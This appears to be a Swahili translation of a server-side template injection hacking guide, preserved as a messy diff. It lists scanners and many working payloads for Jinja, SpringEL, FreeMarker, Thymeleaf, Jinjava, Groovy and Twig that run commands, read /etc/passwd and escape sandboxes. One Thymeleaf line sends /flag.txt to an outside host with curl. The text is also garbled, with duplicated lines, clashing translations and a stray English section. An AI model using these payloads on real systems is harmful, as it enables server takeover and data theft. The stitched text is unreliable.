Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unaotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya kwenye kigeuzi kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya kigezo inayotumiwa katika programu za wavuti. Hebu tuchukue mfano unaodhihirisha kipande cha msimbo kinachoweza kudukuliwa kwa kutumia Jinja:
Jinja ni injini maarufu ya kigeuzi inayotumika katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kificho dhaifu kutumia Jinja:
```python
output = template.render(name=request.args.get('name'))
```
Katika msimbo huu unaoweza kudhurika, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya `render`. Hii inaweza kumruhusu mtu mwenye nia mbaya kuingiza msimbo wenye madhara kwenye parameter ya `name`, hivyo kusababisha uingizaji wa kigezo upande wa seva.
Katika msimbo huu wenye kasoro, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya `name`, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.
Kwa mfano, mtu mwenye nia mbaya anaweza kuunda ombi lenye mzigo kama huu:
Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye mzigo kama huu:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Kifurushi `{{kitu-kibaya-hapa}}` kimeingizwa kwenye parameter ya `jina`. Kifurushi hiki kinaweza kuwa na maelekezo ya templeti ya Jinja ambayo inawezesha muhalifu kutekeleza nambari isiyo ruhusiwa au kudhibiti injini ya templeti, na hivyo kupata udhibiti wa seva.
Payload `{{kitu-kibaya-hapa}}` imeingizwa kwenye parameter ya `jina`. Payload hii inaweza kuwa na maelekezo ya templeti ya Jinja ambayo inamruhusu mkaidi kutekeleza nambari isiyo halali au kubadilisha injini ya templeti, hivyo kupata udhibiti wa seva.
Ili kuzuia udhaifu wa uingizaji wa templeti upande wa seva, watengenezaji wanapaswa kuhakikisha kuwa data ya mtumiaji imefanyiwa usafi na kuthibitishwa vizuri kabla ya kuwekwa kwenye templeti. Kutekeleza uthibitishaji wa data na kutumia mbinu za kuepuka kulingana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Ili kuzuia udhaifu wa kuingiza templeti upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa mwingiliano wa mtumiaji unasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templeti. Kutekeleza ukaguzi wa mwingiliano na kutumia mbinu za kutoroka zenye ufahamu wa muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
### Uchunguzi
Ili kugundua Uingizaji wa Templeti Upande wa Seva (SSTI), kwanza, **kufanya majaribio ya templeti** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye templeti na kuchambua tofauti kati ya majibu ya seva kwa data ya kawaida ikilinganishwa na kifurushi maalum hiki. Ishara za udhaifu ni pamoja na:
- Kutokea kwa makosa, kuonyesha udhaifu na labda injini ya templeti.
- Kutokuwepo kwa kifurushi katika uchunguzi, au sehemu zake kukosekana, ikimaanisha kuwa seva inaiprocess tofauti na data ya kawaida.
- **Muktadha wa Nakala Wazi**: Tofautisha na XSS kwa kuangalia ikiwa seva inahesabu maelezo ya templeti (kwa mfano, `{{7*7}}`, `${7*7}`).
Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, **kufanya majaribio ya templeti** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye templeti na kuchambua tofauti katika majibu ya seva kwa data ya kawaida ikilinganishwa na payload maalum hii. Viashiria vya udhaifu ni pamoja na:
- **Muktadha wa Nambari**: Thibitisha udhaifu kwa kubadilisha vigezo vya kuingiza. Kwa mfano, kubadilisha `salamu` katika `http://tovuti-isio-salama.com/?salamu=data.jina` ili kuona ikiwa matokeo ya seva ni ya kubadilika au yamefikia kikomo, kama vile `salamu=data.jina}}hello` inarudi jina la mtumiaji.
- Kutoa makosa, kufunua udhaifu na labda injini ya templeti.
- Kutokuwepo kwa payload katika kujibu, au sehemu zake kukosekana, ikimaanisha seva inaiprocess tofauti na data ya kawaida.
- **Muktadha wa Nakala Ndogo**: Tofautisha na XSS kwa kuangalia ikiwa seva inahakiki maelezo ya templeti (k.m., `{{7*7}}`, `${7*7}`).
- **Muktadha wa Nambari**: Thibitisha udhaifu kwa kubadilisha paramita za mwingiliano. Kwa mfano, kubadilisha `salamu` katika `http://tovuti-isio-salama.com/?salamu=data.jina` kuona ikiwa matokeo ya seva ni ya kudumu au yanaobadilika, kama vile `salamu=data.jina}}habari` kurudisha jina la mtumiaji.
#### Hatua ya Kutambua
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono mifumo mbalimbali ya lugha. Mifumo ya kawaida inayosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuchunguza majibu ya seva kwa operesheni za hisabati kunasaidia kubainisha injini ya templeti maalum.
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya kawaida kwa kutumia payload za lugha mbalimbali. Payload za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuchunguza majibu ya seva kwa shughuli za hisabati husaidia kugundua injini maalum ya templeti.
## Zana
### [TInjA](https://github.com/Hackmanit/TInjA)
scanner ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya
skana ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
SSTImap ni chombo cha kugundua na kuchunguza mashambulizi ya SSTI (Server-Side Template Injection) kwenye tovuti. Inatumia njia ya kuchunguza kwa kuingiza templates za kawaida na kuchunguza majibu ya tovuti ili kugundua ikiwa kuna dalili za SSTI. Chombo hiki kinaweza kuwa na manufaa katika kufanya ukaguzi wa usalama na kupima usalama wa tovuti yako au tovuti nyingine.
Chombo hiki kinafuatilia mifumo ya templates maarufu kama Jinja2, Twig, Freemarker, na mifumo mingine ya templates inayotumiwa katika maendeleo ya wavuti. Inachunguza dalili za SSTI kwa kuingiza templates za kawaida na kuchambua majibu ya tovuti.
SSTImap inaweza kutumiwa kwa urahisi kwa kufuata hatua rahisi za ufungaji na matumizi. Inahitaji Python 3.x na inasaidia mifumo ya uendeshaji ya Linux na Windows.
Kwa maelezo zaidi juu ya jinsi ya kufunga na kutumia SSTImap, tafadhali rejea [hapa](https://github.com/vladko312/sstimap).
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)
Tplmap ni chombo cha kuchunguza na kudukua mashimo ya usalama katika mifumo ya kuingiza templeti upande wa seva (Server-Side Template Injection). Inaweza kutumika kwa ufanisi katika upimaji wa kuingiza templeti upande wa seva (SSTI) kwenye maombi ya wavuti. Chombo hiki kinaweza kugundua na kutumia mashimo ya usalama katika mifumo ya templeti kama Jinja2, Mako, na Twig. Tplmap inatoa njia rahisi na yenye nguvu ya kuchunguza na kudukua mashimo ya usalama katika mifumo ya SSTI.
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Jedwali la Uingizaji wa Templeti](https://github.com/Hackmanit/template-injection-table)
### [Majedwali wa Uingizaji wa Templeti](https://github.com/Hackmanit/template-injection-table)
jedwali linaloingiliana lenye uingizaji wa templeti wenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za templeti.
meza inayoweza kuingiliana inaleta pamoja polyglots ya uingizaji wa templeti wenye ufanisi pamoja na majibu yanayotarajiwa ya injini za templeti 44 muhimu zaidi.
## Mbinu za Uvamizi
## Kudukua
### Kwa Ujumla
### Kijumla
Katika **orodha ya maneno** hii unaweza kupata **majaribio yaliyofafanuliwa** katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
Katika **orodha ya maneno** hapa unaweza kupata **variables zilizofafanuliwa** katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -105,52 +96,11 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Pata mazingira ya mifumo ya pembejeo**
Ili kupata mazingira ya mifumo ya pembejeo kwa kutumia Java, unaweza kutumia njia ifuatayo:
```java
Map<String, String> env = System.getenv();
for (String key : env.keySet()) {
String value = env.get(key);
System.out.println(key + " = " + value);
}
```
Msimbo huu utakusaidia kupata na kuchapisha mazingira ya mifumo ya pembejeo kwenye konsoli. Kila mazingira ya mfumo itaonyeshwa kama jozi ya jina na thamani yake.
**Java - Pata mazingira ya mfumo**
```java
${T(java.lang.System).getenv()}
```
**Java - Pata /etc/passwd**
Kwa kutumia kificho cha Server-Side Template Injection (SSTI), unaweza kupata faili ya `/etc/passwd` kwenye mfumo wa lengo. Hapa kuna njia ya kufanya hivyo kwa kutumia Java:
```java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class SSTIExample {
public static void main(String[] args) {
try {
String command = "cat /etc/passwd";
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
Kificho hiki kinatumia `Runtime.getRuntime().exec()` kutekeleza amri ya shell `cat /etc/passwd` na kusoma matokeo yake. Kisha, matokeo yanasomwa mstari kwa mstari na kuchapishwa kwenye konsoli.
**Tahadhari:**
Kumbuka kuwa kufanya upatikanaji wa faili kama `/etc/passwd` ni kinyume cha sheria na inaweza kusababisha madhara makubwa. Ni muhimu kuzingatia sheria na kufanya upimaji wa usalama (pentesting) tu kwenye mifumo ambayo una idhini ya kufanya hivyo.
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -158,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
Unaweza kujaribu mizigo yako kwenye [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
Unaweza jaribu payloads zako kwenye [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Hakuna kitu`
* `${7*'7'} Nothing`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -172,7 +122,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Kuepuka Sanduku la Mchanga**
**Freemarker - Kizuizi la Sandbox**
⚠️ inafanya kazi tu kwenye toleo la Freemarker chini ya 2.3.30
```java
@ -205,33 +155,35 @@ $str.valueOf($chr.toChars($out.read()))
### Thymeleaf
Katika Thymeleaf, jaribio la kawaida la kugundua udhaifu wa SSTI ni uchanganuzi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa ajili ya utekelezaji wa kanuni ya mbali, inaweza kutumika uchanganuzi kama ifuatavyo:
Katika Thymeleaf, jaribio la kawaida la kutafuta vulnerabilities za SSTI ni expression `${7*7}`, ambayo pia inatumika kwa injini hii ya template. Kwa ajili ya potential remote code execution, expressions kama zifuatazo zinaweza kutumika:
* SpringEL:
- SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
- OGNL:
* OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf inahitaji uchanganuzi huu kuwekwa ndani ya sifa maalum. Hata hivyo, _uchanganuzi wa ndani wa uchanganuzi_ unaweza kutumika kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, uchanganuzi rahisi wa jaribio la SSTI unaweza kuonekana kama `[[${7*7}]]`.
Thymeleaf inahitaji expressions hizi ziwekwe ndani ya attributes maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya template, kutumia syntax kama `[[...]]` au `[(...)]`. Hivyo, payload rahisi ya kujaribu SSTI inaweza kuonekana kama `[[${7*7}]]`.
Hata hivyo, uwezekano wa uchanganuzi huu kufanya kazi ni mdogo kwa ujumla. Mpangilio wa msingi wa Thymeleaf hausaidii uundaji wa templeti za kibinadamu; templeti lazima ziwe tayari kabla. Watengenezaji wangehitaji kutekeleza `TemplateResolver` yao wenyewe ili kuunda templeti kutoka kwa herufi kwa wakati halisi, jambo ambalo si la kawaida.
Hata hivyo, uwezekano wa payload huu kufanya kazi kwa ujumla ni mdogo. Configuration ya msingi ya Thymeleaf haisaidii dynamic template generation; templates lazima ziwe predefined. Wabunifu wangehitaji kutekeleza `TemplateResolver` yao wenyewe ili kuunda templates kutoka strings kwa haraka, jambo ambalo si la kawaida.
Thymeleaf pia inatoa _uchanganuzi wa awali wa uchanganuzi_, ambapo uchanganuzi ndani ya mstari wa chini (`__...__`) unapewa awali. Kipengele hiki kinaweza kutumika katika ujenzi wa uchanganuzi, kama ilivyodhihirishwa katika nyaraka za Thymeleaf:
Thymeleaf pia inatoa _expression preprocessing_, ambapo expressions ndani ya double underscores (`__...__`) zinapitia preprocessing. Kipengele hiki kinaweza kutumika katika ujenzi wa expressions, kama ilivyodhihirishwa katika nyaraka za Thymeleaf:
```java
#{selection.__${sel.code}__}
```
**Mfano wa Udhaifu katika Thymeleaf**
Fikiria kificho kifuatacho, ambacho kinaweza kuwa na udhaifu wa kuchexploit:
Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa na hatari ya kudukuliwa:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Hii inaonyesha kuwa ikiwa injini ya kigeuzi ya templeti inachakata vipengele hivi kwa njia isiyofaa, inaweza kusababisha utekelezaji wa nambari kijijini kupitia kufikia URL kama:
Hii inaonyesha kwamba ikiwa injini ya templeti inaprocessinga hizi inputs vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URLs kama:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -248,15 +200,15 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Kuepuka vichujio**
**Kupita kwenye vichujio**
Inaweza kutumika mchanganyiko wa maelezo ya kipekee, ikiwa `${...}` haifanyi kazi, jaribu `#{...}`, `*{...}`, `@{...}` au `~{...}`.
Inaweza kutumika mchanganyiko wa maneno ya kipekee, ikiwa `${...}` haifanyi kazi jaribu `#{...}`, `*{...}`, `@{...}` au `~{...}`.
* Soma `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Skripti ya kuzalisha mzigo wa payload
* Skripti ya kubuni mzigo wa payload
```python
#!/usr/bin/python3
@ -289,7 +241,7 @@ print(base_payload + end_payload)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Ubadilishaji wa Maoni ya Spring (Java)
### Ubadilishaji wa Mwangaza wa Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -315,6 +267,7 @@ Toleo jipya la Pebble:
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@ -329,7 +282,7 @@ Toleo jipya la Pebble:
```
### Jinjava (Java)
Jinjava ni injini ya templeti ya upande wa seva iliyoundwa kwa lugha ya Java. Inaruhusu matumizi ya templeti za seva kwenye programu za Java. Jinjava inasaidia vipengele vingi vya templeti kama vile mchanganyiko wa maandishi, mizunguko, na masharti. Inatoa njia salama ya kutekeleza templeti za seva na kuzuia mashambulizi ya Server-Side Template Injection (SSTI).
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
@ -338,7 +291,7 @@ Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, unapatikana kwenye [ht
**Jinjava - Utekelezaji wa Amri**
Imetatuliwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
Imesuluhishwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -354,15 +307,15 @@ Imetatuliwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.com/
### Hubspot - HuBL (Java)
* `{% %}` wazi na kufunga taarifa
* `{{ }}` wazi na kufunga uchambuzi
* `{# #}` wazi na kufunga maoni
* `{{ ombi }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{% %}` mizizi ya taarifa
* `{{ }}` mizizi ya maelezo
* `{# #}` mizizi ya maoni
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{ombi.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{ombi.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na ugundue [mradi wa Jinjava kwenye Github](https://github.com/HubSpot/jinjava/).
```java
@ -409,7 +362,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
### Lugha ya Uelekezaji - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
@ -417,13 +370,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{ombi}}, ${{kikao}}, {{faceContext}}`
Lugha ya Ufafanuzi (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama mabawa yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama mabaka yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
- **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazolingana.
- **JavaServer Pages (JSP)**: EL hutumiwa katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, hivyo kuwa rahisi kuunganisha vipengele vya ukurasa na data ya programu.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL inashirikiana na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na mabawa yaliyosimamiwa, kuhakikisha muundo thabiti zaidi wa programu.
* **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazolingana.
* **JavaServer Pages (JSP)**: EL hutumiwa katika JSP kufikia na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
* **Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI)**: EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na mabaka yaliyosimamiwa, ikisimamia muundo thabiti wa programu.
Angalia ukurasa ufuatao ili kujifunza zaidi kuhusu **utumiaji mbaya wa watekelezaji wa EL**:
Angalia ukurasa ufuatao kujifunza zaidi kuhusu **utumiaji wa waelekezaji wa EL**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -431,7 +384,7 @@ Angalia ukurasa ufuatao ili kujifunza zaidi kuhusu **utumiaji mbaya wa watekelez
### Groovy (Java)
Mipuuzi ya Usimamizi wa Usalama ifuatayo imetolewa kutoka kwenye [**makala hii**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Mipito ya Usimamizi wa Usalama ifuatayo ilitolewa kutoka kwenye [**makala hii**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -458,13 +411,12 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
{% embed url="https://www.rootedcon.com/" %}
##
### Smarty (PHP)
```php
{$smarty.version}
@ -483,8 +435,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Kosa`
* `{{foobar}} Hakuna kitu`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
@ -508,26 +460,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Muundo wa Kigezo**
Twig ni mfumo maarufu wa kigezo kinachotumiwa sana katika maendeleo ya wavuti. Inatoa njia rahisi na yenye nguvu ya kuunda na kusimamia vigezo vya wavuti. Twig hutumiwa sana katika mifumo ya PHP kama vile Symfony na Laravel.
**Kuchanganua na Kutumia SSI (Server-Side Template Injection)**
SSI (Server-Side Template Injection) ni njia ya kuvunja usalama ambapo mshambuliaji anaweza kuingiza na kutekeleza nambari ya kigezo upande wa seva. Hii inaweza kusababisha matokeo mabaya kama vile kufichua data nyeti, kufikia faili za mfumo, au hata kuchukua udhibiti kamili wa seva.
Kwa kutumia SSI, mshambuliaji anaweza kuchanganua na kubadilisha vigezo vya Twig. Hii inaweza kusababisha kutekelezwa kwa nambari ya hatari, kama vile kufikia faili za mfumo au kufichua data nyeti.
**Kugundua na Kuzuia SSI**
Kugundua na kuzuia SSI ni muhimu katika kuhakikisha usalama wa wavuti. Hapa kuna hatua kadhaa za kufuata:
1. Tumia toleo la hivi karibuni la Twig na mifumo ya PHP inayotumia Twig.
2. Sanitize na ukague kwa uangalifu data inayopokelewa kutoka kwa watumiaji kabla ya kuiweka kwenye vigezo vya Twig.
3. Tumia mazoea bora ya maendeleo ya wavuti kama vile kuzuia upatikanaji wa faili za mfumo na kudhibiti ufikiaji wa data nyeti.
4. Fanya ukaguzi wa usalama mara kwa mara ili kugundua na kurekebisha mapungufu yoyote ya usalama.
Kwa kufuata hatua hizi, unaweza kuzuia SSI na kuhakikisha usalama wa wavuti yako.
**Twig - Muundo wa Templeti**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
@ -546,9 +479,9 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates ni injini ya templeti inayotumika kwa PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia kanuni ya asili ya PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.
Plates ni injini ya templeti ya asili ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.
Mfumo wa Kudhibiti:
Msimamizi:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
@ -556,14 +489,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Template ya Ukurasa:
Muundo wa Ukurasa:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Muundo wa kigezo:
Muundo wa kigeuzi:
```html
<html>
<head>
@ -575,11 +508,12 @@ Muundo wa kigezo:
</html>
```
**Maelezo zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
### PHPlib na HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) ni sawa na PHPlib lakini imehamishiwa kwa Pear.
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) ni sawa na PHPlib lakini imehamishwa kwa Pear.
`authors.tpl`
```html
@ -603,34 +537,7 @@ Muundo wa kigezo:
</body>
</html>
```
# SSTI (Server-Side Template Injection)
## Description
Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template. This can lead to remote code execution, information disclosure, and other security risks.
## Exploitation
To exploit SSTI, an attacker needs to identify a vulnerable server-side template and inject their payload into it. The payload can be crafted to execute arbitrary code or retrieve sensitive information from the server.
One common way to identify SSTI vulnerabilities is by injecting template-specific syntax and observing the server's response. If the injected code is executed or if there are error messages indicating template parsing issues, it is likely that the application is vulnerable to SSTI.
## Prevention
To prevent SSTI vulnerabilities, it is important to follow secure coding practices:
1. **Input validation and sanitization**: Always validate and sanitize user input before using it in server-side templates. This helps prevent malicious code injection.
2. **Template engine configuration**: Configure the template engine to restrict access to sensitive objects and functions. Limit the capabilities of the template engine to minimize the impact of potential SSTI vulnerabilities.
3. **Least privilege principle**: Ensure that the server-side templates have the least privileges necessary to perform their intended functions. Avoid granting unnecessary permissions that could be abused by an attacker.
4. **Regular updates and patches**: Keep the server-side template engine and its dependencies up to date with the latest security patches. This helps mitigate known vulnerabilities.
## References
- [OWASP Server-Side Template Injection](https://owasp.org/www-community/attacks/Server-Side_Template_Injection)
- [PortSwigger SSTI](https://portswigger.net/web-security/server-side-template-injection)
`waandishi.php`
```php
<?php
//we want to display this author list
